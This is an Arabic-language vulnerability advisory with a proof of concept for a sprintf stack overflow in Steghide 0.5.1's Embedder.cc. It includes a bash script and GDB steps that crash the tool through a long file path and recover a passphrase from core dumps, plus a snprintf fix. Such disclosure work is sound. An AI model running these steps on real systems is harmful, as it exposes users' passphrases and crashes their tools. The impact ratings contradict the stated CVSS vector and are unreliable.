
إثبات المفهوم (PoC) لثغرة تجاوز سعة المخزن المؤقت القائم على المكدس (stack-based buffer overflow) في Steghide 0.5.1. يوضح كيف تؤدي مسارات الملفات الطويلة إلى تعطل البرنامج (DoS) وتسريب بيانات حساسة (كلمات المرور) عبر core dumps الخاصة بالنظام.
| الحقل | القيمة |
|---|---|
| التطبيق المستهدف | Steghide (ثنائي لينكس) |
| الإصدار المتأثر | 0.5.1 (مؤكد)؛ الإصدارات الأقدم من المحتمل أن تكون متأثرة |
| نوع الثغرة | تجاوز سعة المخزن المؤقت في المكدس (CWE-121) |
| الأثر | رفض الخدمة (DoS)، تسريب المعلومات |
| بيئة الاختبار | Kali Linux |
| تاريخ الإفصاح | 16 يناير 2026 |
| المؤلف | Erik Dervishi |
| رابط البرنامج | https://salsa.debian.org/pkg-security-team/steghide |
| درجة CVSS v3.1 | 5.5 (متوسطة) |
| متجه CVSS | CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H |
مبرر الخطورة:
تعكس درجة الخطورة المتوسطة استغلالًا محليًا موثوقًا يؤدي إلى كلٍّ من رفض الخدمة وتسريب بيانات الاعتماد الحساسة عبر ملفات التفريغ الأساسي.
تم تحديد ثغرة تجاوز سعة المخزن المؤقت في المكدس بأداة سطر الأوامر steghide (الإصدار 0.5.1). تُستغل الثغرة عند تمرير مسار ملف طويل بشكل مفرط إلى الوسيط -cf (ملف الغلاف).
على الرغم من أن التطبيق مُصرَّف مع حماية تحطيم المكدس (SSP/Canary)، التي تمنع بنجاح التنفيذ الاعتباطي للتعليمات البرمجية (RCE) عبر إنهاء العملية، فإن آلية الدفاع هذه تُنشئ ثغرة ثانوية: تسريب المعلومات.
يؤكد التحليل أن البيانات الحساسة في وقت التشغيل — وتحديدًا عبارة المرور الممرَّرة عبر الوسيط -p — تظل مكشوفة في ذاكرة مكدس العملية لحظة الانهيار. على الأنظمة المكوَّنة للاحتفاظ بملفات التفريغ الأساسي (الشائعة في بيئات التطوير أو CI/CD أو خوادم الإنتاج ذات الإعدادات الخاطئة)، تُكتب هذه البيانات الحساسة على القرص كنص صريح، مما يسمح للمهاجمين باستعادة بيانات الاعتماد.
لاستغلال هذه الثغرة بنجاح لتسريب المعلومات، يجب توفّر الشروط التالية:
الوصول المحلي: يجب أن يكون لدى المهاجم وصول محلي إلى النظام أو القدرة على تمرير وسائط إلى الثنائي steghide (مثلًا عبر قشرة ويب أو سكربت غلافي).
تفعيل ملفات التفريغ الأساسي: يجب أن تكون البيئة المستهدفة مكوَّنة لإنشاء ملفات التفريغ الأساسي (مثل ulimit -c unlimited أو fs.suid_dumpable=1) وكتابتها في موقع يمكن للمهاجم الوصول إليه.
بيانات الاعتماد في الذاكرة: يجب على الضحية تنفيذ الأمر باستخدام الوسيط -p (عبارة المرور).
توجد الثغرة في src/Embedder.cc. يفشل التطبيق في التحقق من حدود طول سلسلة اسم الملف قبل تنسيقها داخل مخزن مؤقت ثابت الحجم باستخدام sprintf.
مقتطف الشيفرة المعرض للثغرة:
// src/Embedder.cc
char buf[200];
// Unsafe usage of sprintf without length validation
sprintf(buf, _("embedding %s in %s..."), embstring.c_str(), cvrstring.c_str());
إذا تجاوز الطول الإجمالي للسلاسل 200 بايت، فإن sprintf يكتب بعد نهاية buf، مما يُفسد المكدس.
الثنائي مُصرَّف مع حامي المكدس الخاص بـ GCC.
نظرًا لأن __stack_chk_fail يستدعي abort() فورًا، فإن إنهاء العملية يكون مفاجئًا. على أنظمة لينكس الحديثة (مثل تلك التي تستخدم systemd-coredump)، يمكن أن يؤدي هذا الإنهاء السريع أحيانًا إلى تجاهل ملف التفريغ الأساسي أو اقتطاعه ما لم يكن النظام مكوَّنًا صراحةً لإجبار إنشاء ملف التفريغ.
يقوم سكربت bash التالي بتهيئة البيئة لإجبار إنشاء تفريغ أساسي فعلي واستخراج كلمة المرور.
المتطلب الأساسي: تأكد من ضبط ulimit وتوجيه نمط التفريغ الأساسي إلى ملف (يتطلب صلاحيات root للإعداد، لكن الاستغلال يعمل كمستخدم).
# Setup (Run once as root/sudo to ensure visibility):
# echo "core" | sudo tee /proc/sys/kernel/core_pattern
الملف: poc.sh
#!/bin/bash
# Steghide 0.5.1 PoC - Stack Overflow & Info Leak
# Usage: ./poc.sh
# 1. Enable core dumps for this session
ulimit -c unlimited
# 2. Define payload: 250 'A' characters (sufficient to overflow 200 byte buffer)
LONG_DIR="crash_test"
LONG_NAME=$(python3 -c "print('A' * 250 + '.wav')")
FULL_PATH="$LONG_DIR/$LONG_NAME"
echo "[*] Creating malicious directory structure..."
rm -rf "$LONG_DIR" core* 2>/dev/null
mkdir -p "$LONG_DIR"
# 3. Generate valid WAV file (Required to bypass initial format checks)
python3 -c "
import struct
with open('$FULL_PATH', 'wb') as f:
# RIFF Header + WAVEfmt + PCM Audio + Data Chunk
# We provide a valid header so execution reaches the vulnerable Embedder.cc logic
header = b'RIFF' + struct.pack('<I', 50000) + b'WAVEfmt ' + struct.pack('<I', 16)
header += struct.pack('<HHIIHH', 1, 1, 44100, 44100, 2, 16)
header += b'data' + struct.pack('<I', 49964)
f.write(header + b'\x00' * 49964)
"
# 4. Create dummy secret
echo "CONFIDENTIAL_DATA" > secret.txt
# 5. Trigger Crash
# The passphrase 'MY_SECRET_PASS' will be loaded into memory before the crash
echo "[!] Launching Steghide..."
steghide embed -cf "$FULL_PATH" -ef secret.txt -p MY_SECRET_PASS
# 6. Verify Leak
echo -e "\n[*] Searching for artifact in core dump..."
CORE_FILE=$(ls core* | head -n 1)
if [ -f "$CORE_FILE" ]; then
echo "[+] Dump found: $CORE_FILE"
# Search for the password string inside the binary dump
strings "$CORE_FILE" | grep "MY_SECRET_PASS" && echo -e "\n[!!!] CRITICAL: Password successfully leaked from crash dump!"
else
echo "[-] No core file found. Check 'ulimit -c' or '/proc/sys/kernel/core_pattern'."
fi
التحقق اليدوي من حالة الذاكرة باستخدام GDB (مع إضافة Pwndbg).
خطوات إعادة الإنتاج:
gdb --args /usr/bin/steghide embed -cf $(python3 -c "print('A'*200 + '/trigger.wav')") -ef secret.txt -p MY_SECRET_PASS
pwndbg> run
pwndbg> search "MY_SECRET_PASS"
المخرجات الملاحظة:
*** buffer overflow detected ***: terminated
Program received signal SIGABRT
pwndbg> search "MY_SECRET_PASS"
Searching for value: 'MY_SECRET_PASS'
[heap] 0x5555555bb1a8 'MY_SECRET_PASS'
[stack] 0x7fffffffd680 'MY_SECRET_PASS'
الخلاصة: تظل السلسلة الحساسة MY_SECRET_PASS موجودة في كلا قطاعي ذاكرة Heap وStack لحظة الانهيار، مما يؤكد متجه تسريب المعلومات.
السرية (عالية):
التوافر (عالٍ):
التكامل (منخفض):
// Recommended Fix
snprintf(buf, sizeof(buf), _("embedding %s in %s..."), ...);